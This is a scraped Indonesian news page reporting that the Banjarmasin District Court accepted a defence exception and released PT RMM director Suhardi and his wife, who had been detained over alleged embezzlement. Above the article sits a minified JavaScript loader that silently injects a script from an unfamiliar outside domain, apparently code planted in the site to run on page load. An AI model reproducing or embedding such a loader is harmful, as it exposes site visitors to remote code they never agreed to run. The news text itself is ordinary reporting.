(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pengadilan Negeri (PN) Banjarmasin membebaskan Dirut PT Rahmah Mandiri Mulia (RMM), Suhardi bersama istrinya, yang sempat ditahan di Dit Krimsus Polda Kalsel sejak 21 Juli 2020.
Dalam putusan sela eksepsi yang disampaikan penasihat hukum terdakwa, Ketua Majelis Hakim Rosmawati SH, MH, menyebutkan dakwaan Jaksa Penuntut Umum (JPU) tidak bisa dilanjutkan. Majelis hakim yang beranggotakan Heru Kuntcoro SH, Daru Swastika Rini SH, juga mengabulkan eksepsi dan membebaskan para terdakwa dari tahanan.
Sebelumnya, Suhardi bersama istrinya dilaporkan oleh mitra kerjanya di PT RMM yang berlokasi di Kabupaten Balangan terkait penggelapan jabatan dan dugaan pencurian sebesar Rp3,37 miliar. Atas laporan tersebut, keduanya sempat ditahan Polda Kalsel dalam penyidikannya terhitung dari 21 Juli 2020 Sampai 16 September 2020 guna penyidikan lebih lanjut saat sebelum ditetapkannya tidak terbukti.
Terkait putusan tersebut, Suhardi menyatakan terima kasih dan menilai majelis hakim telah memutus perkara dengan bijak. “Kami ucapkan terimakasih kepada majelis hukum telah memutus perkara ini dengan adil,†katanya.
Di sisi lain, kauasa hukum Samsul Hidayat mengatakan, bahwa perkara perdata yang disumberkan menjadi pidana dengan keputusan ketua majelis hakim kepada kliennya, menjadikan perkara tidak bisa dilanjutkan.
“Tentunya saya bersama klien saya akan mengambil sikap dengan merapatkan ke tim kuasa hukum untuk langkah lanjutan,†katanya.
Sebab sebelumnya, Suhardi pernah melaporkan tindak pidana pencurian dan penggelapan dalam jabatan ke Polres Banjar pada tanggal 29 Maret 2020 lalu. Tapi sampai sekarang belum ada tindakan.
Terkait hal tersebut, Suhardi bersama penasihat hukumnya mendatangi Polres Banjar, Selasa (22/9/2020) guna menanyakan hal tersebut. Apalagi, Polda Kalsel juga telah mengeluarkan surat Pemberitahuan Perkembangan Hasil Pengawasan Penyidikan (SP2HP2).
Dimana didalamnya memberikan petunjuk dan arahan kepada Subdit dan Polres Banjar untuk melaksanakan penyelidikan tindak pidana, serta melaksanakan penyidikan profesional, obyektif, transparan dan akuntabel.
Namun Kasat Rreskrim Polres Banjar belum bisa dikonfirmasi terkait perkembangan kasus tersebut. (Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.